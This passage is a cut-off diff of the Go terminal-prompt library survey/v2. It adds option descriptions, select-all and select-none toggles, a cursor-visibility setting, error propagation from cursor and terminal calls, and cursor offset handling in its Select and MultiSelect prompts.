i.typedAnswer = i.answer
return err != nil, err
i.options = nil
}
pageSize := config.PageSize
opts, idx := paginate(pageSize, i.options, i.selectedIndex)
err := i.Render(
InputQuestionTemplate,
InputTemplateData{
Input: *i,
Answer: i.answer,
ShowHelp: i.showingHelp,
SelectedIndex: idx,
PageEntries: opts,
Config: config,
},
)
if err == nil {
err = readLineAgain
}
return []rune(i.typedAnswer), true, err
})
}
var readLineAgain = errors.New("read line again")
func (i *Input) Prompt(config *PromptConfig) (interface{}, error) {
// render the template
err := i.Render(
InputQuestionTemplate,
InputTemplateData{
Input: *i,
Config: config,
Input: *i,
Config: config,
ShowHelp: i.showingHelp,
},
)
if err != nil {
@@ -145,34 +152,44 @@ func (i *Input) Prompt(config *PromptConfig) (interface{}, error) {
// start reading runes from the standard in
rr := i.NewRuneReader()
rr.SetTermMode()
defer rr.RestoreTermMode()
_ = rr.SetTermMode()
defer func() {
_ = rr.RestoreTermMode()
}()
cursor := i.NewCursor()
cursor.Hide() // hide the cursor
defer cursor.Show() // show the cursor when we're done
if !config.ShowCursor {
cursor.Hide() // hide the cursor
defer cursor.Show() // show the cursor when we're done
}
var line []rune
// start waiting for input
for {
r, _, err := rr.ReadRune()
if err != nil {
return "", err
if i.options != nil {
line = []rune{}
}
if r == terminal.KeyInterrupt {
return "", terminal.InterruptErr
}
if r == terminal.KeyEndTransmission {
break
line, err = rr.ReadLineWithDefault(0, line, i.onRune(config))
if err == readLineAgain {
continue
}
b, err := i.OnChange(r, config)
if err != nil {
return "", err
}
if b {
break
}
break
}
i.answer = string(line)
// readline print an empty line, go up before we render the follow up
cursor.Up(1)
// if we ran into the help string
if i.answer == config.HelpInput && i.Help != "" {
// show the help and prompt again
i.showingHelp = true
return i.Prompt(config)
}
// if the line is empty
@@ -190,13 +207,20 @@ func (i *Input) Prompt(config *PromptConfig) (interface{}, error) {
}
func (i *Input) Cleanup(config *PromptConfig, val interface{}) error {
// use the default answer when cleaning up the prompt if necessary
ans := i.answer
if ans == "" && i.Default != "" {
ans = i.Default
}
// render the cleanup
return i.Render(
InputQuestionTemplate,
InputTemplateData{
Input: *i,
ShowAnswer: true,
Config: config,
Answer: i.answer,
Answer: ans,
},
)
}
+5 -3
View File
@@ -50,8 +50,10 @@ func (i *Multiline) Prompt(config *PromptConfig) (interface{}, error) {
// start reading runes from the standard in
rr := i.NewRuneReader()
rr.SetTermMode()
defer rr.RestoreTermMode()
_ = rr.SetTermMode()
defer func() {
_ = rr.RestoreTermMode()
}()
cursor := i.NewCursor()
@@ -60,7 +62,7 @@ func (i *Multiline) Prompt(config *PromptConfig) (interface{}, error) {
emptyOnce := false
// get the next line
for {
line := []rune{}
var line []rune
line, err = rr.ReadLine(0)
if err != nil {
return string(line), err
+55 -34
View File
@@ -45,21 +45,36 @@ type MultiSelectTemplateData struct {
ShowHelp bool
PageEntries []core.OptionAnswer
Config *PromptConfig
// These fields are used when rendering an individual option
CurrentOpt core.OptionAnswer
CurrentIndex int
}
// IterateOption sets CurrentOpt and CurrentIndex appropriately so a multiselect option can be rendered individually
func (m MultiSelectTemplateData) IterateOption(ix int, opt core.OptionAnswer) interface{} {
copy := m
copy.CurrentIndex = ix
copy.CurrentOpt = opt
return copy
}
var MultiSelectQuestionTemplate = `
{{- define "option"}}
{{- if eq .SelectedIndex .CurrentIndex }}{{color .Config.Icons.SelectFocus.Format }}{{ .Config.Icons.SelectFocus.Text }}{{color "reset"}}{{else}} {{end}}
{{- if index .Checked .CurrentOpt.Index }}{{color .Config.Icons.MarkedOption.Format }} {{ .Config.Icons.MarkedOption.Text }} {{else}}{{color .Config.Icons.UnmarkedOption.Format }} {{ .Config.Icons.UnmarkedOption.Text }} {{end}}
{{- color "reset"}}
{{- " "}}{{- .CurrentOpt.Value}}
{{end}}
{{- if .ShowHelp }}{{- color .Config.Icons.Help.Format }}{{ .Config.Icons.Help.Text }} {{ .Help }}{{color "reset"}}{{"\n"}}{{end}}
{{- color .Config.Icons.Question.Format }}{{ .Config.Icons.Question.Text }} {{color "reset"}}
{{- color "default+hb"}}{{ .Message }}{{ .FilterMessage }}{{color "reset"}}
{{- if .ShowAnswer}}{{color "cyan"}} {{.Answer}}{{color "reset"}}{{"\n"}}
{{- else }}
{{- " "}}{{- color "cyan"}}[Use arrows to move, space to select, <right> to all, <left> to none, type to filter{{- if and .Help (not .ShowHelp)}}, {{ .Config.HelpInput }} for more help{{end}}]{{color "reset"}}
{{- " "}}{{- color "cyan"}}[Use arrows to move, space to select,{{- if not .Config.RemoveSelectAll }} <right> to all,{{end}}{{- if not .Config.RemoveSelectNone }} <left> to none,{{end}} type to filter{{- if and .Help (not .ShowHelp)}}, {{ .Config.HelpInput }} for more help{{end}}]{{color "reset"}}
{{- "\n"}}
{{- range $ix, $option := .PageEntries}}
{{- if eq $ix $.SelectedIndex }}{{color $.Config.Icons.SelectFocus.Format }}{{ $.Config.Icons.SelectFocus.Text }}{{color "reset"}}{{else}} {{end}}
{{- if index $.Checked $option.Index }}{{color $.Config.Icons.MarkedOption.Format }} {{ $.Config.Icons.MarkedOption.Text }} {{else}}{{color $.Config.Icons.UnmarkedOption.Format }} {{ $.Config.Icons.UnmarkedOption.Text }} {{end}}
{{- color "reset"}}
{{- " "}}{{$option.Value}}{{"\n"}}
{{- template "option" $.IterateOption $ix $option}}
{{- end}}
{{- end}}`
@@ -113,19 +128,20 @@ func (m *MultiSelect) OnChange(key rune, config *PromptConfig) {
m.filter = ""
} else if key == terminal.KeyDelete || key == terminal.KeyBackspace {
if m.filter != "" {
m.filter = m.filter[0 : len(m.filter)-1]
runeFilter := []rune(m.filter)
m.filter = string(runeFilter[0 : len(runeFilter)-1])
}
} else if key >= terminal.KeySpace {
m.filter += string(key)
m.VimMode = false
} else if key == terminal.KeyArrowRight {
} else if !config.RemoveSelectAll && key == terminal.KeyArrowRight {
for _, v := range options {
m.checked[v.Index] = true
}
if !config.KeepFilter {
m.filter = ""
}
} else if key == terminal.KeyArrowLeft {
} else if !config.RemoveSelectNone && key == terminal.KeyArrowLeft {
for _, v := range options {
m.checked[v.Index] = false
}
@@ -158,18 +174,17 @@ func (m *MultiSelect) OnChange(key rune, config *PromptConfig) {
// and we have modified the filter then we should move the page back!
opts, idx := paginate(pageSize, options, m.selectedIndex)
tmplData := MultiSelectTemplateData{
MultiSelect: *m,
SelectedIndex: idx,
Checked: m.checked,
ShowHelp: m.showingHelp,
PageEntries: opts,
Config: config,
}
// render the options
m.Render(
MultiSelectQuestionTemplate,
MultiSelectTemplateData{
MultiSelect: *m,
SelectedIndex: idx,
Checked: m.checked,
ShowHelp: m.showingHelp,
PageEntries: opts,
Config: config,
},
)
_ = m.RenderWithCursorOffset(MultiSelectQuestionTemplate, tmplData, opts, idx)
}
func (m *MultiSelect) filterOptions(config *PromptConfig) []core.OptionAnswer {
@@ -249,31 +264,37 @@ func (m *MultiSelect) Prompt(config *PromptConfig) (interface{}, error) {
opts, idx := paginate(pageSize, core.OptionAnswerList(m.Options), m.selectedIndex)
cursor := m.NewCursor()
cursor.Hide() // hide the cursor
defer cursor.Show() // show the cursor when we're done
cursor.Save() // for proper cursor placement during selection
cursor.Hide() // hide the cursor
defer cursor.Show() // show the cursor when we're done
defer cursor.Restore() // clear any accessibility offsetting on exit
tmplData := MultiSelectTemplateData{
MultiSelect: *m,
SelectedIndex: idx,
Checked: m.checked,
PageEntries: opts,
Config: config,
}
// ask the question
err := m.Render(
MultiSelectQuestionTemplate,
MultiSelectTemplateData{
MultiSelect: *m,
SelectedIndex: idx,
Checked: m.checked,
PageEntries: opts,
Config: config,
},
)
err := m.RenderWithCursorOffset(MultiSelectQuestionTemplate, tmplData, opts, idx)
if err != nil {
return "", err
}
rr := m.NewRuneReader()
rr.SetTermMode()
defer rr.RestoreTermMode()
_ = rr.SetTermMode()
defer func() {
_ = rr.RestoreTermMode()
}()
// start waiting for input
for {
r, _, _ := rr.ReadRune()
r, _, err := rr.ReadRune()
if err != nil {
return "", err
}
if r == '\r' || r == '\n' {
break
}
+9 -4
View File
@@ -44,14 +44,19 @@ func (p *Password) Prompt(config *PromptConfig) (interface{}, error) {
Config: config,
},
)
fmt.Fprint(terminal.NewAnsiStdout(p.Stdio().Out), userOut)
if err != nil {
return "", err
}
if _, err := fmt.Fprint(terminal.NewAnsiStdout(p.Stdio().Out), userOut); err != nil {
return "", err
}
rr := p.NewRuneReader()
rr.SetTermMode()
defer rr.RestoreTermMode()
_ = rr.SetTermMode()
defer func() {
_ = rr.RestoreTermMode()
}()
// no help msg? Just return any response
if p.Help == "" {
@@ -61,7 +66,7 @@ func (p *Password) Prompt(config *PromptConfig) (interface{}, error) {
cursor := p.NewCursor()
line := []rune{}
var line []rune
// process answers looking for help prompt answer
for {
line, err = rr.ReadLine('*')
+49 -10
View File
@@ -7,7 +7,7 @@ import (
"github.com/AlecAivazis/survey/v2/core"
"github.com/AlecAivazis/survey/v2/terminal"
goterm "golang.org/x/crypto/ssh/terminal"
"golang.org/x/term"
)
type Renderer struct {
@@ -61,7 +61,9 @@ func (r *Renderer) Error(config *PromptConfig, invalid error) error {
}
// send the message to the user
fmt.Fprint(terminal.NewAnsiStdout(r.stdio.Out), userOut)
if _, err := fmt.Fprint(terminal.NewAnsiStdout(r.stdio.Out), userOut); err != nil {
return err
}
// add the printed text to the rendered error buffer so we can cleanup later
r.appendRenderedError(layoutOut)
@@ -69,6 +71,14 @@ func (r *Renderer) Error(config *PromptConfig, invalid error) error {
return nil
}
func (r *Renderer) OffsetCursor(offset int) {
cursor := r.NewCursor()
for offset > 0 {
cursor.PreviousLine(1)
offset--
}
}
func (r *Renderer) Render(tmpl string, data interface{}) error {
// cleanup the currently rendered text
lineCount := r.countLines(r.renderedText)
@@ -82,7 +92,9 @@ func (r *Renderer) Render(tmpl string, data interface{}) error {
}
// print the summary
fmt.Fprint(terminal.NewAnsiStdout(r.stdio.Out), userOut)
if _, err := fmt.Fprint(terminal.NewAnsiStdout(r.stdio.Out), userOut); err != nil {
return err
}
// add the printed text to the rendered text buffer so we can cleanup later
r.AppendRenderedText(layoutOut)
@@ -91,6 +103,21 @@ func (r *Renderer) Render(tmpl string, data interface{}) error {
return nil
}
func (r *Renderer) RenderWithCursorOffset(tmpl string, data IterableOpts, opts []core.OptionAnswer, idx int) error {
cursor := r.NewCursor()
cursor.Restore() // clear any accessibility offsetting
if err := r.Render(tmpl, data); err != nil {
return err
}
cursor.Save()
offset := computeCursorOffset(MultiSelectQuestionTemplate, data, opts, idx, r.termWidthSafe())
r.OffsetCursor(offset)
return nil
}
// appendRenderedError appends text to the renderer's error buffer
// which is used to track what has been printed. It is not exported
// as errors should only be displayed via Error(config, error).
@@ -119,26 +146,31 @@ func (r *Renderer) resetPrompt(lines int) {
func (r *Renderer) termWidth() (int, error) {
fd := int(r.stdio.Out.Fd())
termWidth, _, err := goterm.GetSize(fd)
termWidth, _, err := term.GetSize(fd)
return termWidth, err
}
// countLines will return the count of `\n` with the addition of any
// lines that have wrapped due to narrow terminal width
func (r *Renderer) countLines(buf bytes.Buffer) int {
func (r *Renderer) termWidthSafe() int {
w, err := r.termWidth()
if err != nil || w == 0 {
// if we got an error due to terminal.GetSize not being supported
// on current platform then just assume a very wide terminal
w = 10000
}
return w
}
// countLines will return the count of `\n` with the addition of any
// lines that have wrapped due to narrow terminal width
func (r *Renderer) countLines(buf bytes.Buffer) int {
w := r.termWidthSafe()
bufBytes := buf.Bytes()
count := 0
curr := 0
delim := -1
for curr < len(bufBytes) {
var delim int
// read until the next newline or the end of the string
relDelim := bytes.IndexRune(bufBytes[curr:], '\n')
if relDelim != -1 {
@@ -148,8 +180,15 @@ func (r *Renderer) countLines(buf bytes.Buffer) int {
delim = len(bufBytes) // no new line found, read rest of text
}
// account for word wrapping
count += int(utf8.RuneCount(bufBytes[curr:delim]) / w)
if lineWidth := utf8.RuneCount(bufBytes[curr:delim]); lineWidth > w {
// account for word wrapping
count += lineWidth / w
if (lineWidth % w) == 0 {
// content whose width is exactly a multiplier of available width should not
// count as having wrapped on the last line
count -= 1
}
}
curr = delim + 1
}
+67 -34
View File
@@ -28,6 +28,7 @@ type Select struct {
VimMode bool
FilterMessage string
Filter func(filter string, value string, index int) bool
Description func(value string, index int) string
filter string
selectedIndex int
useDefault bool
@@ -42,10 +43,35 @@ type SelectTemplateData struct {
Answer string
ShowAnswer bool
ShowHelp bool
Description func(value string, index int) string
Config *PromptConfig
// These fields are used when rendering an individual option
CurrentOpt core.OptionAnswer
CurrentIndex int
}
// IterateOption sets CurrentOpt and CurrentIndex appropriately so a select option can be rendered individually
func (s SelectTemplateData) IterateOption(ix int, opt core.OptionAnswer) interface{} {
copy := s
copy.CurrentIndex = ix
copy.CurrentOpt = opt
return copy
}
func (s SelectTemplateData) GetDescription(opt core.OptionAnswer) string {
if s.Description == nil {
return ""
}
return s.Description(opt.Value, opt.Index)
}
var SelectQuestionTemplate = `
{{- define "option"}}
{{- if eq .SelectedIndex .CurrentIndex }}{{color .Config.Icons.SelectFocus.Format }}{{ .Config.Icons.SelectFocus.Text }} {{else}}{{color "default"}} {{end}}
{{- .CurrentOpt.Value}}{{ if ne ($.GetDescription .CurrentOpt) "" }} - {{color "cyan"}}{{ $.GetDescription .CurrentOpt }}{{end}}
{{- color "reset"}}
{{end}}
{{- if .ShowHelp }}{{- color .Config.Icons.Help.Format }}{{ .Config.Icons.Help.Text }} {{ .Help }}{{color "reset"}}{{"\n"}}{{end}}
{{- color .Config.Icons.Question.Format }}{{ .Config.Icons.Question.Text }} {{color "reset"}}
{{- color "default+hb"}}{{ .Message }}{{ .FilterMessage }}{{color "reset"}}
@@ -53,10 +79,8 @@ var SelectQuestionTemplate = `
{{- else}}
{{- " "}}{{- color "cyan"}}[Use arrows to move, type to filter{{- if and .Help (not .ShowHelp)}}, {{ .Config.HelpInput }} for more help{{end}}]{{color "reset"}}
{{- "\n"}}
{{- range $ix, $choice := .PageEntries}}
{{- if eq $ix $.SelectedIndex }}{{color $.Config.Icons.SelectFocus.Format }}{{ $.Config.Icons.SelectFocus.Text }} {{else}}{{color "default"}} {{end}}
{{- $choice.Value}}
{{- color "reset"}}{{"\n"}}
{{- range $ix, $option := .PageEntries}}
{{- template "option" $.IterateOption $ix $option}}
{{- end}}
{{- end}}`
@@ -114,8 +138,9 @@ func (s *Select) OnChange(key rune, config *PromptConfig) bool {
} else if key == terminal.KeyDelete || key == terminal.KeyBackspace {
// if there is content in the filter to delete
if s.filter != "" {
runeFilter := []rune(s.filter)
// subtract a line from the current filter
s.filter = s.filter[0 : len(s.filter)-1]
s.filter = string(runeFilter[0 : len(runeFilter)-1])
// we removed the last value in the filter
}
} else if key >= terminal.KeySpace {
@@ -151,17 +176,17 @@ func (s *Select) OnChange(key rune, config *PromptConfig) bool {
// and we have modified the filter then we should move the page back!
opts, idx := paginate(pageSize, options, s.selectedIndex)
tmplData := SelectTemplateData{
Select: *s,
SelectedIndex: idx,
ShowHelp: s.showingHelp,
Description: s.Description,
PageEntries: opts,
Config: config,
}
// render the options
s.Render(
SelectQuestionTemplate,
SelectTemplateData{
Select: *s,
SelectedIndex: idx,
ShowHelp: s.showingHelp,
PageEntries: opts,
Config: config,
},
)
_ = s.RenderWithCursorOffset(SelectQuestionTemplate, tmplData, opts, idx)
// keep prompting
return false
@@ -233,16 +258,23 @@ func (s *Select) Prompt(config *PromptConfig) (interface{}, error) {
// figure out the options and index to render
opts, idx := paginate(pageSize, core.OptionAnswerList(s.Options), sel)
cursor := s.NewCursor()
cursor.Save() // for proper cursor placement during selection
cursor.Hide() // hide the cursor
defer cursor.Show() // show the cursor when we're done
defer cursor.Restore() // clear any accessibility offsetting on exit
tmplData := SelectTemplateData{
Select: *s,
SelectedIndex: idx,
Description: s.Description,
ShowHelp: s.showingHelp,
PageEntries: opts,
Config: config,
}
// ask the question
err := s.Render(
SelectQuestionTemplate,
SelectTemplateData{
Select: *s,
PageEntries: opts,
SelectedIndex: idx,
Config: config,
},
)
err := s.RenderWithCursorOffset(SelectQuestionTemplate, tmplData, opts, idx)
if err != nil {
return "", err
}
@@ -251,12 +283,10 @@ func (s *Select) Prompt(config *PromptConfig) (interface{}, error) {
s.useDefault = true
rr := s.NewRuneReader()
rr.SetTermMode()
defer rr.RestoreTermMode()
cursor := s.NewCursor()
cursor.Hide() // hide the cursor
defer cursor.Show() // show the cursor when we're done
_ = rr.SetTermMode()
defer func() {
_ = rr.RestoreTermMode()
}()
// start waiting for input
for {
@@ -316,13 +346,16 @@ func (s *Select) Prompt(config *PromptConfig) (interface{}, error) {
}
func (s *Select) Cleanup(config *PromptConfig, val interface{}) error {
cursor := s.NewCursor()
cursor.Restore()
return s.Render(
SelectQuestionTemplate,
SelectTemplateData{
Select: *s,
Answer: val.(core.OptionAnswer).Value,
ShowAnswer: true,
Config: config,
Select: *s,
Answer: val.(core.OptionAnswer).Value,
ShowAnswer: true,
Description: s.Description,
Config: config,
},
)
}
+115 -53
View File
@@ -1,10 +1,12 @@
package survey
import (
"bytes"
"errors"
"io"
"os"
"strings"
"unicode/utf8"
"github.com/AlecAivazis/survey/v2/core"
"github.com/AlecAivazis/survey/v2/terminal"
@@ -54,7 +56,10 @@ func defaultAskOptions() *AskOptions {
// include this option if it matches
return strings.Contains(strings.ToLower(value), filter)
},
KeepFilter: false,
KeepFilter: false,
ShowCursor: false,
RemoveSelectAll: false,
RemoveSelectNone: false,
},
}
}
@@ -108,12 +113,15 @@ type Question struct {
// PromptConfig holds the global configuration for a prompt
type PromptConfig struct {
PageSize int
Icons IconSet
HelpInput string
SuggestInput string
Filter func(filter string, option string, index int) bool
KeepFilter bool
PageSize int
Icons IconSet
HelpInput string
SuggestInput string
Filter func(filter string, option string, index int) bool
KeepFilter bool
ShowCursor bool
RemoveSelectAll bool
RemoveSelectNone bool
}
// Prompt is the primary interface for the objects that can take user input
@@ -171,6 +179,22 @@ func WithKeepFilter(KeepFilter bool) AskOpt {
}
}
// WithRemoveSelectAll remove the select all option in Multiselect
func WithRemoveSelectAll() AskOpt {
return func(options *AskOptions) error {
options.PromptConfig.RemoveSelectAll = true
return nil
}
}
// WithRemoveSelectNone remove the select none/unselect all in Multiselect
func WithRemoveSelectNone() AskOpt {
return func(options *AskOptions) error {
options.PromptConfig.RemoveSelectNone = true
return nil
}
}
// WithValidator specifies a validator to use while prompting the user
func WithValidator(v Validator) AskOpt {
return func(options *AskOptions) error {
@@ -219,6 +243,17 @@ func WithIcons(setIcons func(*IconSet)) AskOpt {
}
}
// WithShowCursor sets the show cursor behavior when prompting the user
func WithShowCursor(ShowCursor bool) AskOpt {
return func(options *AskOptions) error {
// set the page size
options.PromptConfig.ShowCursor = ShowCursor
// nothing went wrong
return nil
}
}
/*
AskOne performs the prompt for a single prompt and asks for validation if required.
Response types should be something that can be casted from the response type designated
@@ -282,6 +317,20 @@ func Ask(qs []*Question, response interface{}, opts ...AskOpt) error {
return errors.New("cannot call Ask() with a nil reference to record the answers")
}
validate := func(q *Question, val interface{}) error {
if q.Validate != nil {
if err := q.Validate(val); err != nil {
return err
}
}
for _, v := range options.Validators {
if err := v(val); err != nil {
return err
}
}
return nil
}
// go over every question
for _, q := range qs {
// If Prompt implements controllable stdio, pass in specified stdio.
@@ -289,46 +338,28 @@ func Ask(qs []*Question, response interface{}, opts ...AskOpt) error {
p.WithStdio(options.Stdio)
}
// grab the user input and save it
ans, err := q.Prompt.Prompt(&options.PromptConfig)
// if there was a problem
if err != nil {
return err
}
// build up a list of validators that we have to apply to this question
validators := []Validator{}
// make sure to include the question specific one
if q.Validate != nil {
validators = append(validators, q.Validate)
}
// add any "global" validators
for _, validator := range options.Validators {
validators = append(validators, validator)
}
// apply every validator to thte response
for _, validator := range validators {
// wait for a valid response
for invalid := validator(ans); invalid != nil; invalid = validator(ans) {
err := q.Prompt.Error(&options.PromptConfig, invalid)
// if there was a problem
if err != nil {
return err
}
// ask for more input
if promptAgainer, ok := q.Prompt.(PromptAgainer); ok {
ans, err = promptAgainer.PromptAgain(&options.PromptConfig, ans, invalid)
} else {
ans, err = q.Prompt.Prompt(&options.PromptConfig)
}
// if there was a problem
if err != nil {
var ans interface{}
var validationErr error
// prompt and validation loop
for {
if validationErr != nil {
if err := q.Prompt.Error(&options.PromptConfig, validationErr); err != nil {
return err
}
}
var err error
if promptAgainer, ok := q.Prompt.(PromptAgainer); ok && validationErr != nil {
ans, err = promptAgainer.PromptAgain(&options.PromptConfig, ans, validationErr)
} else {
ans, err = q.Prompt.Prompt(&options.PromptConfig)
}
if err != nil {
return err
}
validationErr = validate(q, ans)
if validationErr == nil {
break
}
}
if q.Transform != nil {
@@ -341,21 +372,14 @@ func Ask(qs []*Question, response interface{}, opts ...AskOpt) error {
}
// tell the prompt to cleanup with the validated value
q.Prompt.Cleanup(&options.PromptConfig, ans)
// if something went wrong
if err != nil {
// stop listening
if err := q.Prompt.Cleanup(&options.PromptConfig, ans); err != nil {
return err
}
// add it to the map
err = core.WriteAnswer(response, q.Name, ans)
// if something went wrong
if err != nil {
if err := core.WriteAnswer(response, q.Name, ans); err != nil {
return err
}
}
// return the response
@@ -398,3 +422,41 @@ func paginate(pageSize int, choices []core.OptionAnswer, sel int) ([]core.Option
// return the subset we care about and the index
return choices[start:end], cursor
}
type IterableOpts interface {
IterateOption(int, core.OptionAnswer) interface{}
}
func computeCursorOffset(tmpl string, data IterableOpts, opts []core.OptionAnswer, idx, tWidth int) int {
tmpls, err := core.GetTemplatePair(tmpl)
if err != nil {
return 0
}
t := tmpls[0]
renderOpt := func(ix int, opt core.OptionAnswer) string {
var buf bytes.Buffer
_ = t.ExecuteTemplate(&buf, "option", data.IterateOption(ix, opt))
return buf.String()
}
offset := len(opts) - idx
for i, o := range opts {
if i < idx {
continue
}
renderedOpt := renderOpt(i, o)
valWidth := utf8.RuneCount([]byte(renderedOpt))
if valWidth > tWidth {
splitCount := valWidth / tWidth
if valWidth%tWidth == 0 {
splitCount -= 1
}
offset += splitCount
}
}
return offset
}
+54 -35
View File
@@ -1,3 +1,4 @@
//go:build !windows
// +build !windows
package terminal
@@ -21,79 +22,99 @@ type Cursor struct {
}
// Up moves the cursor n cells to up.
func (c *Cursor) Up(n int) {
fmt.Fprintf(c.Out, "\x1b[%dA", n)
func (c *Cursor) Up(n int) error {
_, err := fmt.Fprintf(c.Out, "\x1b[%dA", n)
return err
}
// Down moves the cursor n cells to down.
func (c *Cursor) Down(n int) {
fmt.Fprintf(c.Out, "\x1b[%dB", n)
func (c *Cursor) Down(n int) error {
_, err := fmt.Fprintf(c.Out, "\x1b[%dB", n)
return err
}
// Forward moves the cursor n cells to right.
func (c *Cursor) Forward(n int) {
fmt.Fprintf(c.Out, "\x1b[%dC", n)
func (c *Cursor) Forward(n int) error {
_, err := fmt.Fprintf(c.Out, "\x1b[%dC", n)
return err
}
// Back moves the cursor n cells to left.
func (c *Cursor) Back(n int) {
fmt.Fprintf(c.Out, "\x1b[%dD", n)
func (c *Cursor) Back(n int) error {
_, err := fmt.Fprintf(c.Out, "\x1b[%dD", n)
return err
}
// NextLine moves cursor to beginning of the line n lines down.
func (c *Cursor) NextLine(n int) {
fmt.Fprintf(c.Out, "\x1b[%dE", n)
func (c *Cursor) NextLine(n int) error {
if err := c.Down(1); err != nil {
return err
}
return c.HorizontalAbsolute(0)
}
// PreviousLine moves cursor to beginning of the line n lines up.
func (c *Cursor) PreviousLine(n int) {
fmt.Fprintf(c.Out, "\x1b[%dF", n)
func (c *Cursor) PreviousLine(n int) error {
if err := c.Up(1); err != nil {
return err
}
return c.HorizontalAbsolute(0)
}
// HorizontalAbsolute moves cursor horizontally to x.
func (c *Cursor) HorizontalAbsolute(x int) {
fmt.Fprintf(c.Out, "\x1b[%dG", x)
func (c *Cursor) HorizontalAbsolute(x int) error {
_, err := fmt.Fprintf(c.Out, "\x1b[%dG", x)
return err
}
// Show shows the cursor.
func (c *Cursor) Show() {
fmt.Fprint(c.Out, "\x1b[?25h")
func (c *Cursor) Show() error {
_, err := fmt.Fprint(c.Out, "\x1b[?25h")
return err
}
// Hide hide the cursor.
func (c *Cursor) Hide() {
fmt.Fprint(c.Out, "\x1b[?25l")
func (c *Cursor) Hide() error {
_, err := fmt.Fprint(c.Out, "\x1b[?25l")
return err
}
// Move moves the cursor to a specific x,y location.
func (c *Cursor) Move(x int, y int) {
fmt.Fprintf(c.Out, "\x1b[%d;%df", x, y)
// move moves the cursor to a specific x,y location.
func (c *Cursor) move(x int, y int) error {
_, err := fmt.Fprintf(c.Out, "\x1b[%d;%df", x, y)
return err
}
// Save saves the current position
func (c *Cursor) Save() {
fmt.Fprint(c.Out, "\x1b7")
func (c *Cursor) Save() error {
_, err := fmt.Fprint(c.Out, "\x1b7")
return err
}
// Restore restores the saved position of the cursor
func (c *Cursor) Restore() {
fmt.Fprint(c.Out, "\x1b8")
func (c *Cursor) Restore() error {
_, err := fmt.Fprint(c.Out, "\x1b8")
return err
}
// for comparability purposes between windows
// in unix we need to print out a new line on some terminals
func (c *Cursor) MoveNextLine(cur *Coord, terminalSize *Coord) {
func (c *Cursor) MoveNextLine(cur *Coord, terminalSize *Coord) error {
if cur.Y == terminalSize.Y {
fmt.Fprintln(c.Out)
if _, err := fmt.Fprintln(c.Out); err != nil {
return err
}
}
c.NextLine(1)
return c.NextLine(1)
}
// Location returns the current location of the cursor in the terminal
func (c *Cursor) Location(buf *bytes.Buffer) (*Coord, error) {
// ANSI escape sequence for DSR - Device Status Report
// https://en.wikipedia.org/wiki/ANSI_escape_code#CSI_sequences
fmt.Fprint(c.Out, "\x1b[6n")
if _, err := fmt.Fprint(c.Out, "\x1b[6n"); err != nil {
return nil, err
}
// There may be input in Stdin prior to CursorLocation so make sure we don't
// drop those bytes.
@@ -167,11 +188,14 @@ func (c *Cursor) Size(buf *bytes.Buffer) (*Coord, error) {
// hide the cursor (so it doesn't blink when getting the size of the terminal)
c.Hide()
defer c.Show()
// save the current location of the cursor
c.Save()
defer c.Restore()
// move the cursor to the very bottom of the terminal
c.Move(999, 999)
c.move(999, 999)
// ask for the current location
bottom, err := c.Location(buf)
@@ -179,11 +203,6 @@ func (c *Cursor) Size(buf *bytes.Buffer) (*Coord, error) {
return nil, err
}
// move back where we began
c.Restore()
// show the cursor
c.Show()
// since the bottom was calculated in the lower right corner, it
// is the dimensions we are looking for
return bottom, nil
+62 -36
View File
@@ -16,31 +16,37 @@ type Cursor struct {
Out FileWriter
}
func (c *Cursor) Up(n int) {
c.cursorMove(0, n)
func (c *Cursor) Up(n int) error {
return c.cursorMove(0, n)
}
func (c *Cursor) Down(n int) {
c.cursorMove(0, -1*n)
func (c *Cursor) Down(n int) error {
return c.cursorMove(0, -1*n)
}
func (c *Cursor) Forward(n int) {
c.cursorMove(n, 0)
func (c *Cursor) Forward(n int) error {
return c.cursorMove(n, 0)
}
func (c *Cursor) Back(n int) {
c.cursorMove(-1*n, 0)
func (c *Cursor) Back(n int) error {
return c.cursorMove(-1*n, 0)
}
// save the cursor location
func (c *Cursor) Save() {
cursorLoc, _ = c.Location(nil)
func (c *Cursor) Save() error {
loc, err := c.Location(nil)
if err != nil {
return err
}
cursorLoc = *loc
return nil
}
func (c *Cursor) Restore() {
func (c *Cursor) Restore() error {
handle := syscall.Handle(c.Out.Fd())
// restore it to the original position
procSetConsoleCursorPosition.Call(uintptr(handle), uintptr(*(*int32)(unsafe.Pointer(&cursorLoc))))
_, _, err := procSetConsoleCursorPosition.Call(uintptr(handle), uintptr(*(*int32)(unsafe.Pointer(&cursorLoc))))
return normalizeError(err)
}
func (cur Coord) CursorIsAtLineEnd(size *Coord) bool {
@@ -51,40 +57,49 @@ func (cur Coord) CursorIsAtLineBegin() bool {
return cur.X == 0
}
func (c *Cursor) cursorMove(x int, y int) {
func (c *Cursor) cursorMove(x int, y int) error {
handle := syscall.Handle(c.Out.Fd())
var csbi consoleScreenBufferInfo
procGetConsoleScreenBufferInfo.Call(uintptr(handle), uintptr(unsafe.Pointer(&csbi)))
if _, _, err := procGetConsoleScreenBufferInfo.Call(uintptr(handle), uintptr(unsafe.Pointer(&csbi))); normalizeError(err) != nil {
return err
}
var cursor Coord
cursor.X = csbi.cursorPosition.X + Short(x)
cursor.Y = csbi.cursorPosition.Y + Short(y)
procSetConsoleCursorPosition.Call(uintptr(handle), uintptr(*(*int32)(unsafe.Pointer(&cursor))))
_, _, err := procSetConsoleCursorPosition.Call(uintptr(handle), uintptr(*(*int32)(unsafe.Pointer(&cursor))))
return normalizeError(err)
}
func (c *Cursor) NextLine(n int) {
c.Up(n)
c.HorizontalAbsolute(0)
func (c *Cursor) NextLine(n int) error {
if err := c.Up(n); err != nil {
return err
}
return c.HorizontalAbsolute(0)
}
func (c *Cursor) PreviousLine(n int) {
c.Down(n)
c.HorizontalAbsolute(0)
func (c *Cursor) PreviousLine(n int) error {
if err := c.Down(n); err != nil {
return err
}
return c.HorizontalAbsolute(0)
}
// for comparability purposes between windows
// in windows we don't have to print out a new line
func (c *Cursor) MoveNextLine(cur Coord, terminalSize *Coord) {
c.NextLine(1)
func (c *Cursor) MoveNextLine(cur *Coord, terminalSize *Coord) error {
return c.NextLine(1)
}
func (c *Cursor) HorizontalAbsolute(x int) {
func (c *Cursor) HorizontalAbsolute(x int) error {
handle := syscall.Handle(c.Out.Fd())
var csbi consoleScreenBufferInfo
procGetConsoleScreenBufferInfo.Call(uintptr(handle), uintptr(unsafe.Pointer(&csbi)))
if _, _, err := procGetConsoleScreenBufferInfo.Call(uintptr(handle), uintptr(unsafe.Pointer(&csbi))); normalizeError(err) != nil {
return err
}
var cursor Coord
cursor.X = Short(x)
